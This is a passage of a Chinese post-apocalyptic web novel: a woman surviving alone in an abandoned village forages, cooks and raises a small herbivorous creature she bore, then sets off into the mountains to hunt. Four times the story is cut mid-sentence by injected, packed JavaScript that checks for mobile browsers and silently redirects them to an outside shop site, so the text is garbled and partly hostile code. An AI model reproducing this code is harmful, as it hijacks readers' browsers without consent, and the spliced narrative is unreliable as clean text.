但现在,我宁愿绕路也不会往那树底下过。因为树枝上可能有什么危险的变异动物在休息,那棵槐树太大,一些小型的变异动物像是猫和黄鼠狼之类的,夜里就喜欢待在上面。光线还不怎么清晰,被树冠一挡就更看不清,要是这个时候往那树底下过,运气不好撞上那些藏在树枝上的变异动物正好肚子饿,说不定就要干一场。 对这种吃力不讨好的事我一向是能避则避,因为一旦受了伤,我接下来的生活都会受到很大影响,特别是现在,还多了这么一个小怪物。 我低头看了一眼小怪物露出来的黑色头发,抿着唇继续注意周围的情况。 周围静悄悄的,所有的一切都还在沉睡中,就连草丛里的虫子,这个时间也没有鸣叫。我捡着比较干净的路面走,因为深深的草丛里说不定藏着什么东西,就算要往草丛里过,我也会先用手上的柴刀拨开草丛。 草叶上的露水打湿了我绑紧的裤管,突然从草丛里窜出来的变异小虫爬过鞋面,有几只浑身漆黑的甲壳虫咬住我的鞋子,被我几下跺脚甩开,又用锄头一个个砸死。 这东西是变异虱子,要是咬到什么活物,就会像钉子一样扎在皮肉上面,直到把血吸干。几只好对付,要是一大堆,就是再厉害的人也要掉头就跑。 我很熟悉这段路,几下就穿过了那一片,来到村口。村口有两条路,一条是通往镇上的,另外一条是去山里的,村里原本的田就在山脚下,我不管是打柴还是去田里干活,都要往这边一条路去。 今天我要去的也是那里。不过今天不是去田里,我是要进山。 我的父母早在一开始就没了,我一个人像浮萍一样四处漂泊,虽然遇上过不少糟糕的事情,可是也遇见过好人。 对我最好的是一个中年妇女,我叫她李姨。她是农村里出来的,要去城里找她的女儿,可是到处都是吃人的丧尸和变异动植物,还有吃人的人,她没能找到自己的女儿。也许是因为我和她女儿年龄相仿,我们结伴跟随大部队一起逃亡的时候,她对我很好,教了我很多东西。 我现在会的很多东西都是来自于她的教导。 逃亡的途中,我曾因为吃了太多生冷不好消化的东西而上吐下泻,那时候也不知道去哪里找药,李姨就在路边挖了一种植物的根给我煮水喝,她说她们村里人有些什么小毛病都不爱去城里看医生,老人教的法子,到附近去挖些那种野根煮水喝了也就行了。 末世后一点小病都是会要人命的,那种草根救了我好几次,我也就给记住了。在这里的两年我没用上过这种野根,但我记得自己上山的时候好像在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726906|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里看见过。 村里大片的田地都荒废了,长满了茂盛的野草,只有两亩地上种了东西,我这两年试着在这里种了玉米豆角茄子辣椒等等这些东西,有些种活了,有些种不活,农活没人教我,我也不清楚什么季节该种什么,就瞎种,自己摸索着来。收集的种子也不多,但好歹有些收获。 这会儿田里是去年秋天种的小麦,还有杂七碎八一些东西。其实除了我折腾出来的这两亩地,其他那些荒废的田里也偶尔会找到一些意外之喜,有些曾经种过的东西虽然现在没人种了,但遗落了种子,每年还是会长出来,没有很多,但我一个人吃也足够了。 这里没有丧尸,没有其他人,我很喜欢这里。 只是……偶尔会觉得有一点寂寞。当然,我只有很少的时间会有这种想法,大部分时间我还是很排斥出现其他人。 我又不由自主的低头看了一眼自己胸前的小怪物。说实话,改变令我觉得不安,但现在,我也只能走一步看一步。 走过那两亩田,我开始往山脚下走,一边走我一边注意周围的田坎地沟,那种野根大多会长在避光的阴沟里。我用柴刀勾掉脚下的刺藤,拨开那些太过茂密的野草。 正是万物生长的季节,一个星期前我过来还没见到这些野草,一个星期后这些野草就大片大片的忽然冒出了头,就连树枝上也是一片的嫩绿。 我在山脚下来回翻找,天空已经变得明亮起来,太阳从东边那座山头上冒出来,柔柔的也不刺眼。阳光照在我身上,怀里的小怪物动了动,把露出来的半张脸往我怀里缩了一下。我一手托了托小怪物,另一只手还在野草堆里翻找。 额头上也不知是露水还是汗水,顺着脸颊滑下来,我抬起手用衣服擦了一下,起身走到另外一个地方去找。要是这里找不到,我就得往林子里更深处去找。 在一个干涸的小沟岸上,我见到了刚长出来的一截藤蔓,叶子很像我想找的那种。我砍掉周围的刺树,又用锄头挖开那里的土。 怀里兜着个小怪物,不太好用力,我只能把小怪物解下来,把它放在竹篮子里。 可是我刚把它解下来,这东西就在篮子里抽风似得挣扎起来,我用脚尖踢了踢篮子,“安静点。” 我很久没跟人说话,跟这小怪物说话的时候自己都感觉音调怪怪的,嗓音有点沙哑,不太好听。我咳嗽了一声,又加了一句:“不许闹。” 那生命力顽强的小怪物这会儿好像好一些了,伸出爪子抓在竹篮边上想爬出来,刚抬起个脑袋就啪的一声倒回去,在篮子里可怜巴巴的咩咩叫起来。 我没管它。抡起锄头挖土,挖了几下,我就找到了自己想找的野根,手掌那么粗的野根有三个,还有两个小一点的,串在一起。我蹲下.身子拿起那些野根,抖掉土全都拎起来。 一转头,看到小怪物已经把半个身子从篮子里挣扎出来了,但是因为被我用衣服裹着,下半身怎么都爬不出来。咕咚一声,小怪物头朝下栽倒在田边湿土里,砸扁了一片新长出来的嫩草。 5. 005 我抖了抖野根上的土,过去顺手就把小怪物提了起来,用衣服裹好再次系在胸前,再把挖出来的野根放进篮子里。 小怪物头发上沾了土,一到我怀里就贴着我蹭脑袋,把那点土全都蹭到我衣服上了,我没管它,提着东西往回走,既然出来了,我就准备顺便在田里带点菜回去。 这小怪物生命力确实顽强,不久前还一副快死了的虚弱模样,这会儿就又活了起来,开始在我怀里咩咩叫。 叫声像羊一样,会不会这东西其实是吃草的?走到了自己种出来的地上,我开始动手砍白菜,过了冬的大白菜长得老大一颗,之前还以为大雪后会死,没想到雪一化这些白菜还好好的。我没有经验,也不知道这是不是特例,反正有的吃就可以。 一大颗白菜外面都已经老了,用手扯掉外面的菜帮子,最后剩下里面的嫩菜心。我撕了一片叶子试着递给小怪物,它睁着那双绿色的大眼睛,张开嘴就咔嚓咔嚓咬了两口白菜叶子。 这东西是什么都吃吗,不管是老鼠肉还是白菜叶,递到嘴边好像都吃的挺高兴。把白菜放进篮子,我又去旁边的水田里掐了一把水芹菜,这个季节的野生水芹菜刚长出来,非常嫩,在水里煮一煮,再加点盐味道非常鲜。 掐了一根递给小怪物试试,它同样很高兴的张开大嘴嚼了咽下去。 田里这会儿的作物没长出来什么,但是野菜冒出来很多,几年前最难那会儿,我几乎就是靠着路上找到的那些零星野菜撑下来的。因为饿的时候太多了,即使现在饿不着,我也留下了这种看到食物就忍不住去注意的习惯。 哪里有什么样的危险,哪里有可以吃的东西,都是最先在我脑海里面形成印象的。 这个春天很多雨,但这两天的天气都不错,天晴朗的很漂亮。远处有一块田上稀稀疏疏开了很多黄花,那是油菜花,不是我种的,是它自己长的。我经过的田坎上也有两棵,垂着的花掠过小怪物的脑袋,它忽然打了个喷嚏,一双眼睛骨碌转了一下,扭着头去看已经走过了的黄花。 我都走到另一块田了,这小怪物还伸长了脑袋往后面去看那几根油菜花。我看它伸长脖子的样,一抬手就把它给按回去,它也乖,被我按回去了就不敢再乱动了,从包袱里漏出来的尾巴甩来甩去。 转身走回去,把那一大把油菜花全都折下来,塞到包袱里。 小怪物兴奋的瞪了两下腿,伸出爪子抱着那油菜花就啃。 还真是吃草的?我低头瞅了它一眼,心想既然吃草的牙齿长那么锋利干什么。同时我也放心了点,如果真是食草动物,应该没我最开始想的那么危险。 小怪物不知道我对它的想法改变,高高兴兴的把那一把油菜花吃的只剩下几根绿梗。等走回我住的那个瓦房,把小怪物和一篮子野菜白菜放在一起,我拿了野根去院子里打水清洗。 院子里有一口井,最古老那种样式,要先倒水进去引水,才能抽出水来。这井水冬天是温热的,夏天则是冰凉的,喝着很甘甜。 把野根藤砍断,清洗干净野根,然后切成片煎水。味道不太好闻,一股苦涩味。等着野根煎水的时候,我去看了一下被扔在一边的小怪物,它光着屁股趴在竹篮里,已经把我一颗嫩白菜咬掉了一小半。 它扭过头来看我,一脸无辜。 我没管它,让它继续咬,转身在柜橱里翻出冬天用的一个瓦罐,和放碳的小炉子。灶里烧的柴烧久了,就会变成黑色的碳,不过这种碳不太经烧,一下子就烧过了,变成洋洋散散的白灰。我已经攒了小半袋这样的白灰碳,弄出一点放在小炉子里点上,瓦罐清洗干净倒上清水,放四把米一起煮。 我的米不多了,还都是陈米,我不知道怎么种水稻,吃一点少一点,所以一直不太舍得吃,平时吃的最多的还是面粉做的疙瘩面饼之类,容易饱腹。 我早上还没吃,这会儿肚子里也饿起来,那边小怪物在篮子里面吃的咔嚓咔嚓,好像很香的样子。我把它连同篮子一起拖到小炉子旁边,从它手底下撕了一片白菜叶子生吃。 脆倒是挺脆的,还有点甜。我一块白菜叶子没吃完,小怪物摇摇晃晃的举着剩下的半颗白菜要递给我。 我愣了一下,把手里最后一点白菜塞进嘴里,说:“……你自己吃。” 它又递了两回,被我按回去,之后它就开开心心的继续抱着白菜啃了,尾巴一直在身后甩来甩去。我坐在门口的小凳子上,看着那根白尾巴发呆。这东西和普通的婴儿完全不一样,太聪明了,这到底是个什么东西? 大锅里煎的野根水沸腾了,发出噗嗤噗嗤气泡破裂的声音,苦涩的味道弥漫了整个厨房。我起身掀开锅盖看了一眼,稍稍搅拌了一下,到灶前把火用灰埋了埋。煎出来的水有两碗,我用铁勺舀了一碗端到小怪物身边。 它的一颗白菜快啃完了,但肚子看上去还是那样瘪瘪的。滚烫的野根水连碗一起浸在水里,很快就变凉了,刚好小怪物吃完了一整棵大白菜,我把它拎起来,举着碗就着它嘴边。 看它现在这个样子,大概已经不需要喝这个野根,但是我挖都挖了,不喝太浪费。 “喝。” 小怪物突然被我拎起来,缩着爪子看我。 我看着它,它也看着我。 我举起碗喝了一小口,表示是这样喝的,然后再递到它嘴边。它的鼻子动了动,试着伸出比人类长很多的舌头来舔。 “不许舔,喝。” 它把舌头缩回去,小声哼唧起来。 我不说话,只把碗往它嘴边凑,再三下来,它明白了,学着我低头咕嘟咕嘟的喝。这东西很苦,我喝了一口感觉嘴都麻了,小怪物喝了一碗,把舌头吐出来呜呜叫。 我捏它嘴,“舌头塞回去。”它听不懂,我自己动手给它塞回去。 这时候瓦罐里的水沸腾了,白色的米变成米花,随着翻腾的水浮起来又落下去,开始有淡淡的米香漂浮。 把小怪物放在另一个有靠背的椅子上,从篮子底下拿出水芹菜和其他几种叫不出名字的野菜,放在盆里洗了,取了一小把切成小段,放进已经沸腾的瓦罐里,最后加上一勺盐,滴上两滴芝麻油。 芝麻油是我自己去年磨的,从镇上那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726907|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条路过来,有一大片的芝麻田,我花了一星期把里面的芝麻全都收回来了,又试着用村里找到的石磨磨出了像是芝麻油的东西,除了味道有点奇怪,其他都还好,在菜里加一点非常香。 但我没能磨出来多少,只有一小壶。我也不知道今年那几片田里还会不会长芝麻,我把芝麻都收回来了,大概不会再长了。 瓦罐熬出来的粥鲜香又清淡,米和鲜嫩的野菜混在一起,清白的颜色很好看。喝一口这样滚烫的粥,瞬间感觉胃里也舒服不少。从昨晚起,我的肚子就有点痛,我也分不清到底是因为生这小怪物导致的,还是胃的毛病又犯了。 从末世过来的人,大多都有胃病,因为从前经常挨饿,一两天找不到吃的都很正常。和饿死的人比起来,只是有点胃病真是太幸运。 丧尸出现那几年,不知道为什么植物也受到影响,很多植物都莫名其妙死亡,人类被那些恐怖的活死人追着赶着,还遇上那种荒年,真是几乎没有一点活路。 这两年好了,很多植物又重新长出来了,还比以前长得更茂盛,总算不那么愁没吃的,偶尔也能变换点花样给自己换换口味。 在这样平静的一个早晨,坐在这里晒着太阳喝一碗刚煮好的粥,这样的日子安逸的让我觉得几乎像在梦中一样。我一个人在这里住着。有时候会忍不住想,是不是这样的生活只是我在做梦,其实我还身处地狱,只是我疯了,或者快死了,才在意识里构造出这样一个美好的地方。 偶尔我会怀疑自己也是假的,这里没有另外一个人,没有人告诉我,这一切到底是不是真的。 旁边的小怪物忽然摔下了凳子。 我把它捞起来放在腿上,看着它的眼睛说:“你也是假的,是不是?不然我怎么会莫名其妙生下你这样的小怪物?” 我没指望它回答我,只是在自言自语,我习惯了说点什么没人回应的日子。问完我就端了旁边一碗晾凉的菜粥,和刚才喂野根水一样凑到它嘴边。 小怪物嗅了嗅,然后两只爪子抱着我的手,埋头喝粥,喝的稀里哗啦,像只小猪。 小怪物很喜欢喝菜粥,我就喝了一碗,剩下全被它喝掉了。我没吃饱,去地窖翻了两个红薯埋火堆里,等着待会儿烧熟了吃。 这回过了好一会儿小怪物还是生龙活虎的,没有吐,我在厨房里外走来走去的干活,它就跟在我身后爬,不管我把它放在哪里,一转头就会看见它又吭哧吭哧朝我这边连滚带爬的过来了,简直跟个尾巴一样烦人。 就这么来来回回两次,原本白嫩嫩一个小怪物全身都是灰。院子里有个草地,还有两棵树,我在上面架了根竹竿晾衣服。趁着天气好,想把被子洗一洗。我洗被子的时候,小怪物从厨房门口爬到了草地上。 我扭头看到它打了鸡血一样有劲,不知道它到底在兴奋什么。过了一会儿没听到动静,再看去,它坐在草地上尿尿,盯着忽然出现的水渍,它小脸上的表情有点茫然。 我继续洗被子,洗完被子就着剩下的水把小怪物也顺便刷一刷。 小孩子很麻烦,小怪物也一样麻烦。 6. 006 我洗被子用的是皂角,这个瓦房左边靠山的地方还有一户人家,院子里就种着一棵很大的皂角树,这户人家门口还有一条小溪流,流到这边门前,变成了个小水沟。 一口袋皂角是我去年摘回来的,用的剩下小半袋。现在这个年代,工业生产随着人类的减少往后退化,生活也好像往后回溯了百年,从前习惯的洗衣液洗衣粉是没有了,能用上皂角也足够让人满足。 其实皂角这东西我来这里之前没见过,更别说用,这东西的存在还是在李姨那里听来的,我出生在城市长在城市,前十七年像个废人,连做饭都不会,除了内衣没动手洗过衣服。 逃亡的时候,李姨跟我讲了很多东西,其中就有皂角树,她说自己小时候村里家家户户都种着皂角树,河沟前面也种了好几棵,每天清晨小媳妇们去河沟里洗衣服,折了皂角搓烂裹在衣服里,用棒槌敲打,能把衣服洗的很干净。 她死前那会儿,格外爱跟人说话,而只有我听她说话。她跟我讲她小时候去山上砍柴,在田里放牛,牛跑了,她吓得直哭,追了两个村子才给追回来。 还讲小时候家里磨豆腐,锅里煮的一碗热豆浆特别好喝,过年前发一盆麦芽,熬出麦芽糖,甜的能把人牙齿全都黏在一起。 我一边听,一边抱着空瘪凹陷的肚子流口水。我很感谢她和我说的那些,两年前我决定住在这个地方,有一部分原因就是她的影响。 皂角和大扁豆长得差不多,本身带着一种皂香。 刚开始看到那棵皂角树的时候我没注意,因为它没结果,我认不出来,后来去那边小沟里捞虾的时候,看到那棵树结了果子,闻上去有一点像是某种洗衣粉的香,就试着摘了些回去洗衣服,发现这东西不仅能清洗衣服上的一些污渍还能去油,我才真的确定那就是皂角。 来这里的时候我孤身一人,带着几件破烂家伙,像只孤魂野鬼。两年后的现在,我已经不知不觉的有了这样一个能遮风挡雨的地方,里面放着许多我自己亲手找到和做出来的东西,处处都是我生活的痕迹。 这种感觉很好,好像我再次有了家一样。 下午我没去田里,也没进山看,只是坐在墙根底下晒太阳。食物足够,我没有急着去寻找更多的食物,而且我刚生下小怪物才过了一天多,没有充足的休息对我来说不是什么好事,所以我决定这几天都好好休息。 重新被洗干净的小怪物在我怀里团着睡觉,一边睡一边打呼噜,那种小声的咕噜噜,我嫌吵,拽了拽它的尾巴,它一下子惊醒过来,眼睛唰的睁开,昂起脑袋看看周围,没有看到其他什么东西才垂头继续睡。 隔一会儿它又打起了小呼噜,我再拉它尾巴,这样来回几次,它不睡了,眼睛委屈巴巴的看着我,脑袋顶在我胸口咩咩叫。像是无可奈何的朝我撒娇,让我别故意拽它尾巴。 我好奇它会不会讲话,难不成以后都只会这样咩咩的叫? “你会不会说话?” “咩——” “只会咩咩叫?” “咩——” 我放弃教它说话,我觉得这个小怪物像个小傻子。 我把那些被塞在柜子里的小孩子衣服都找了出来,衣服大多带了霉味,还有一些已经上了霉斑,把那些衣服放在阳光下晒,竹竿上晾满了,就晒在井盖上,晒在院子里几棵低矮的茶树上,铺了一院子。 这些衣服对小怪物来说大了,我就给他套了件长袖,下身的衣摆遮到小腿肚,没穿裤子,省得它待会儿尿在衣服上,而且这些裤子上也没洞,真穿上了小怪物的尾巴也没处放。 小怪物像穿了件裙子一样,还挺高兴,我给它选的这件衣服上面有黄色的小花图案,它刚穿上就试图用嘴去咬那些小黄花,被我捏着嘴巴制止了。 “要是咬坏了这些衣服,你就光屁股过,我不会去给你找新的。”我对小怪物这么说。 我觉得它听不懂我的话,但我阻止的意思它大概能理解,所以很快就放弃了去咬衣服上的小花花。 我挺满意它的乖巧,要是换个不听话的小怪物,说不定过两天我就放生了,但这个……如果它能一直乖乖的,我可以养它久一点。 春天的天气就是这么无常,白天出的太阳,到了晚上忽然一声春雷,轰隆隆响着,细细密密的雨丝就噼里啪啦敲打在屋顶上、草叶上。我在窄小昏暗的房间里,静静听着雨声,想起来一件不太相干的事。 我十六七岁的时候喜欢打游戏,经常把键盘敲得噼里啪啦,我妈晚上推开我的房门对我说‘我还以为外面下雨噼里啪啦响呢,原来是你敲键盘的声音,这么晚了还不睡,赶紧睡。’ 这些事好像都隔了很远很远,只要不去回想,就是模糊不清的,可是一旦触到某个点,就莫名其妙的在我脑海里冒出来,毫无道理的,不依不饶的要勾出我几分痛楚。 我已经忘记当一个女儿是什么样的感觉,有人宠爱,有人管着。同样我也不清楚怎么去当一个母亲,所以我并不能把这样的自己当成一个母亲,感觉……会玷污这个词。我这一路遇见的母亲,大多有着令人生畏的,作为母亲的勇气,而我觉得自己没有,也不会有。 躺在我身边的小怪物原本睡着了,脑袋挨着我。但是窗外划过一道闪电,雷声轰隆隆一响,小怪物就吓醒了,抖成个鹌鹑,雷声响一下,它就抖一下,发出细碎的呜咽。 一个吃素的胆小鬼小怪物。 我伸出手指戳了戳瑟瑟发抖的小怪物,它就跟抓住了什么救命稻草一样,紧紧攥住了我的手指。 “胆小鬼,喝凉水,妈妈打你的歪歪嘴……”我忽然想起这么一句不知道在哪里听过的歌谣,应该是小时候和小伙伴一起唱的某句话,但记不清后面的词,只冒出来这么一句后就卡住了。 忽然听到我出声,小怪物咕噜着眼睛瞧着我,好像没那么害怕了。 我看它的眼神,好像在说‘继续说继续说’。摸了一把小怪物的大脑袋,我还真又想起来一个。 “大头大头——下雨不愁——人家有伞——你有大头——” 奇怪了,这些都是哪里的?平时我想不起来的时候,这些东西藏在我脑子里的哪个部分呢? “门前大桥下——游过一群鸭——额,嘎嘎嘎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726908|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘎嘎?”我有点不确定是不是这样,但是小怪物听我嘎嘎嘎,忽然摇着尾巴咔咔咔的笑了起来,拽着我的一根手指摇晃,嘴里哇哇哇的跟着喊。 这个时候的小怪物像个正常孩子,我不知道出于一种什么样的心情,揉着它的肚子,继续冲它嘎嘎嘎。这小东西果然又咔咔咔的笑起来,这么容易被逗笑吗? 外面的雷还在打,咔嚓咔嚓,床上的小怪物还在咔咔咔,简直笑的停不下来。为什么叫几声嘎嘎嘎,它就笑成个大傻子,我不能理解。 我记得好像有谁说过,小孩子的想法都是不能理解的,大人不会知道他们在想些什么。半夜里,小怪物终于累的睡着了,外面的雷也消停了,只有窸窸窣窣的雨还在下。 我还没睡着。 我睡不着,身边有个活物,我很难睡着。多年养成的习惯了,没那么容易改掉。其实晚上那会儿我本来不想让小怪物跟我睡一个房间,但是我把它放在另一个房间没一会儿,就听到了咩咩咩的叫,还有挠门声。 持续了起码两个小时,最后我认输了,起身过去看,见到这小怪物把木门挠出了花,地上全都是碎屑。这家伙能爬之后,从床上一咕噜滚下来,摔了一下,皮糙肉厚完全没事,连滚带爬像个皮球的满地滚,能折腾,一看不见我就折腾,我把它放在身边,它才能乖乖的。 我很烦它老在地上滚来滚去蹭一身灰,我得每天给它洗两次,我自己都没这么干净。 所以,我给它用雨衣做了个丑不拉几的外套,裹在身上,这下不管它往哪里滚沾了多少灰,只要一拍一擦就干净了,就是穿着那丑丑的外套,它看上去更像个怪物了。 它自己倒是开心,整天在院子里那片草地上滚来滚去,不只是在家里滚来滚去,过几天我带着它去田里拔菜,特地走到那片油菜花田里,去给它砍油菜花吃,一把它放到地上,它就跟个球似得,叽里咕噜一路摇落了无数黄花,滚进了油菜花田深处。 我在外围用刀割油菜花,放进带来的大篮子里,只要抬眼看到哪里的油菜花被压扁,我就知道小怪物到了哪里。 我割了一小片油菜花的时候,忽然听到小怪物咩咩咩的叫了起来,叫声比平时尖细,我感觉在里面听到了兴奋。 我提着刀往半人高的油菜花田里面走,迎面滚过来一个丑怪物,它的爪子上抓着一个扭动的四脚蛇。 “咩——” 我抬手捏过在它手里挣扎的四脚蛇,随手扔到了远处。 小怪物懵了,看着自己空空如也的手,还没反应过来。我折了一根油菜花,往它嘴边一凑,它立刻忘了这回事,张开大嘴吃掉那根油菜花,然后又开开心心的滚远了。 我继续割油菜花,没过一会儿,小怪物叽里咕噜又滚了过来,给我看它手上抓着的一只青蛙。这个季节青蛙还在土里冬眠没出来,这家伙应该是从土里把人家给刨出来的。 那倒霉的青蛙在小怪物手里挣扎蹬腿,我拎过大青蛙那只乱蹬的腿,把它提起来看了看。挺肥的,回去炒一炒,一小碗肉应该有。 把青蛙摔晕塞进袋子里,我又给小怪物喂了根油菜花。 7. 007 青蛙肉很嫩,煮粥滋味最好,放进粥里之前,先下锅和蒜炒香,煎成金黄色,然后再放进粥里,煮出来鲜香嫩滑,可惜两只青蛙太少,尝尝味儿就没了。 喝粥的时候,我想着等夏天了,田边水池里到处都是青蛙,做个钓杆绑上小虾米,半天能钓一篓子。 我喝肉粥,小怪物就坐在我身边啃油菜花,我想试试它是不是只吃素,给它喂了两块青蛙肉,它也没拒绝,高兴的吃了。但是过了半小时,它哇哇哇的把之前吃的青蛙肉,连带着油菜花都给吐了出来。 竟然真的是个纯素食的小怪物。确认这一点,让我感到放松了很多,晚上和小怪物一起睡也不那么抗拒了,虽然睡一会儿就会惊醒,但好歹也能稍微休息,老那么睁着眼睛胡思乱想发呆一整夜,就算是我从前习惯了也有点吃不消,白天干活很受影响。 这么一点青蛙肉不顶什么用,跟着小怪物一起吃了半个月素,我感觉自己要变成羊了,于是决定进趟山。每天吃素菜也不足以给我补充充足的体力,我觉得自己身体恢复的差不多,带上小怪物进趟山应该没什么。 进山不是像之前那样只在山脚下走走,我准备往山里面走走看,大约要花上一两天的样子,中间要在山里过一夜。 之前我已经进过好几趟山了,都是选在秋季。秋季山里的山货多,有很多的野果成熟,很多动物正在为过冬贴肥瞟,都很肥美,要是打上一只大家伙,用盐腌着,省着点吃,一个冬天的肉都有了。 去年冬天我幸运的打到一只小野猪,肉不多,半个冬天过去就吃完了。这回上山我没想打个什么大的东西,打两只野鸡兔子斑鸠之类就差不多了,这个时间山里的大家伙们还没出来,都是些小东西,没那么危险,不然我也不敢带着这个小怪物一起去。 要进山得做不少准备,我当初第一次跑山上去的时候没什么经验,遇上狼差点被啃成骨架,还好那只是一只孤狼,也没有出现狼群,被我成功从那只狼的眼皮子底下跑了回来。后来还忘记了路,在山里转了好多天才找到路下来。 饼在大铁锅里烙的两面焦黄,咬上去脆硬,用水泡一泡很容易饱腹,这是我准备的干粮。水倒是没多带,山里的山泉甘甜,一直从山顶上往下流,走一段路就能看见。 各种工具也准备好,柴刀别在腰上,铁棍小刀还有网和绳子,除了这些我还有一把弹弓,是在这个村子某栋房子里找到的,那家人从前应该也喜欢上山打猎,有不少工具,还有把生锈的土□□,但我不会用,看上去也早就没用了。 我找到的这把弹弓不是小孩子的玩具,应该从前就是用来打鸟打野鸡的,以我的力气想拉开这弹弓七秒钟,手也得开始抖。去年在荷花淀那边,我还用这弹弓打了只野鸭。 除了这些工具,有些小玩意也得准备好,打火机之类的全都装在一个小袋子里贴身放着。 我上山穿的衣服是那种很粗糙的麻灰布,就是平时割柴穿的,不容易被山里那些荆棘刺草勾破。腰上系了两条皮带,一条紧腰身,一条用来挂袋子栓刀子,不这样的话,这些挂在腰上的东西很容易就会把我裤子给坠掉。裤脚用布条扎起来绑紧,免得从裤管口进什么小虫子。 这个时间进山,其他问题不大,比较麻烦的就是各种小虫子开始陆续醒了,爱往人身上爬。要是没毒的虫子还好,就是烦人了点,最怕是遇上有毒的虫子,往身上一爬随便就是红肿消不下去,但真正致死的毒虫也难遇到。 鞋子是从前主人家的旧式军布鞋,底下是厚厚的胶,鞋面是绿色的厚帆布,还有手套也得套上。 我是全副武装轻车熟路了,但小怪物……看上去白白嫩嫩不太好办。 我从抽屉里翻出来一瓶墨绿色的草汁,这是我磨出来的草汁,不知道这种草叫什么,但是从前李姨找过这种草涂在身上,说能防虫叮,我夏天防蚊子就靠它。先倒出来草汁往自己露出来的脖子上擦,然后倒一手往小怪物身上擦。 它被这草汁的刺鼻味道给熏得眯起了大眼睛,连脸颊都皱了起来,像橘子皮,怪丑的。张嘴就是咩咩咩的喊,挥舞着爪子挣扎。我才不管它,一手把小怪物按倒在桌上,另一只手给它全身上下迅速涂两遍草汁,手法大概就和冬天那时候用盐腌野猪差不多。 涂完草汁我一松手,小怪物举起爪子闻了闻自己,咕咚一声往后栽倒在地,嘴里发出长长一声“miang——”的声音,都变调了。 重新给它穿上衣服,套上那件用雨衣改的丑外套,最后用改良背带把它背在背上。 一大早,我和小怪物出了门,从村里另一边的那条路经过。 路上有一座石桥,说是石桥,其实是两块叠起来的坑洼青石板,简陋的架在一道清澈溪流上面,只能供一个人走过去的宽度。石桥底下的溪流边上长着细长的草叶,就是我用来磨防虫咬汁液的草,这边一大片都长着。 这种小桥充满了岁月和历史的痕迹,被雨水冲刷的干干净净,又被人们的鞋底踩得无比光滑,到现在除了我没人往这上面踩了,石板周围就长出来一蓬蓬的野草。 桥边有一棵老桃树,枝干上都是碗口大的疤,像是老人的皮肤,凝出一些半透明的黄色桃胶。这棵桃树开花了,前几天还没注意,今天走过这里,发现满树的桃花都悄悄开了。 我从树底下走过,抬头看了一眼,觉得这棵桃树今年能结很多桃子。这棵桃树是老桃树了,结出来的桃子很甜。 现在这个时候想吃水果,当然没有从前直接去超市里买那么方便。但这个村子里的果树不少,乡下人家家家户户都爱在院子里种树,果树最多,桃树梨树李树枇杷树枣树等等,都是有的,等再过段时间,这些开着的花就会结出一个个沁甜的果子。 我正想着,感觉头顶簌簌一阵花瓣雨,我背后的小怪物伸出爪子兴奋的去抓头顶开得很低的桃花枝。咔嚓一声响,它的爪子上就抓住了一枝桃花,在我面无表情的注视下,开开心心的往嘴里塞。 我不知道多少次这样感叹,这东西是什么都吃吗? 加快步子走过那个桃花树下,我往笼罩着朦胧青纱的山峦下走去。此时晨光微熹,身边的溪流叮咚作响,路边的虫鸣嘶嘶吱吱,背上的小怪物叽叽呱呱。 路过田里的时候我砍了两颗大白菜放进布口袋里,当做小怪物的口粮。 来到进山的口子,我用柴刀砍掉了挡路的芒草,一个冬天没来,路有点长闭合了,山路就是这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726909|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一段时间没人走,就会被各种植物覆盖,过段时间人往这里走过的痕迹都会完全消失。 好在除了最开始底下那片芒草,往里走就没什么阻碍了,偶尔有两根刺树将枝条长到了路上,伸手砍掉拨到路的一边就行。刚进山这一片坡度非常缓和,一条羊肠小道弯弯曲曲,没走一会儿,路边上出现了一片竹林,竹林附近还有两个坟包。 村子附近的山上有许多这样的坟包,都是许久没人打扫清理了,荒废的长满了杂草,能给这些坟打扫的人们早就不在了,如今尸体上长的草,大概也能有坟上这么高。 